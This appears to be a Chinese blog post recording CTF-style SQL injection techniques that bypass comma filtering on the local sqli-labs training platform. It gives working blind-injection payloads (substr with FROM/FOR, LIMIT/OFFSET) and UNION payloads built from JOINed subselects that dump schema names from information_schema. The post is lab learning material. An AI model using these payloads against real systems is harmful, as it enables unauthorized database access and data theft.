SQL注入之逗号过滤绕过

在常规CTF的sql注入的时候都会过滤一些我们不喜欢被过滤的字符,比如这次的逗号,在盲注的时候用到substr函数和union的查询都用到了逗号,过滤了逗号怎么绕过呢?百度了一番。。。。。百度真是。。。。。还是谷歌吧,终于找到了一些方法,这里记录下来最简单的吧

0x0盲注

我们用sqli-labs平台练手,http://127.0.0.1/sqli-labs/Less-1/index.php?id=1,单引号测试有注入,用盲注的话语句如下

' and ascii(substr((select database()),1,1))=xx %23这样的话写个脚本很容易跑出来了,过滤逗号之后可以变成这样

' and ascii(substr((select database())from 1 for 1))=xx %23这应该是substring函数的两种用法吧,limit则是 LIMIT M OFFSET N

这里的M是最大回显限度,N是偏移量,与limit N,M有相同效果

先记下了


0x1union注入

我们都知道order by查询之后要用到union,还是这里的sqli-labs平台

http://127.0.0.1/sqli-labs/Less-1/index.php?id=1' order by 3 %23是正常的,就是说三个字段了

我们正常是union select 1,2,3看返回页面的数据,过滤之后我们可以这样

union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)%23

继续注入就是常规的了union select * from ((select 1)a JOIN (select group_concat(schema_name separator 0x3c62723e) from information_schema.schemata)b JOIN (select 3)c)%23

学习自

http://drops.blbana.cc/2017/05/20/SQLi-%E2%80%94%E2%80%94-%E9%80%97%E5%8F%B7%EF%BC%8C%E7%A9%BA%E6%A0%BC%EF%BC%8C%E5%AD%97%E6%AE%B5%E5%90%8D%E8%BF%87%E6%BB%A4%E7%AA%81%E7%A0%B4/


这里还有过滤的方法。。。

http://byd.dropsec.xyz/2017/03/21/SQL%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 二哈,男,微胖界,骚断腿属性。 夜幕降临,刚刚下班的二哈,走在回家的路上,霓灯闪烁,照的人影幢幢,一阵秋风吹来,二...
    因为你世界充满爱阅读 687评论 1 1
  • @synthesize和@dynamic分别有什么作用?@property有两个对应的词,一个是 @synthes...
    笔笔请求阅读 533评论 0 1
  • Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行...
    付出从未后悔阅读 713评论 0 3
  • 叽喳 叽喳 叽喳 办公室里的人像鸟 听 听 听 谁的也听不清 提笔人是静还是没睡醒 聚焦成空灵 上升 上升~
    厂小白阅读 244评论 0 0
  • 刚开了账号,具体内容今后是打算写写家居,装修,软装,DIY,生活尝试,小窍门。总之是写一写关于生活的事,因为本人从...
    装修不是事阅读 269评论 1 0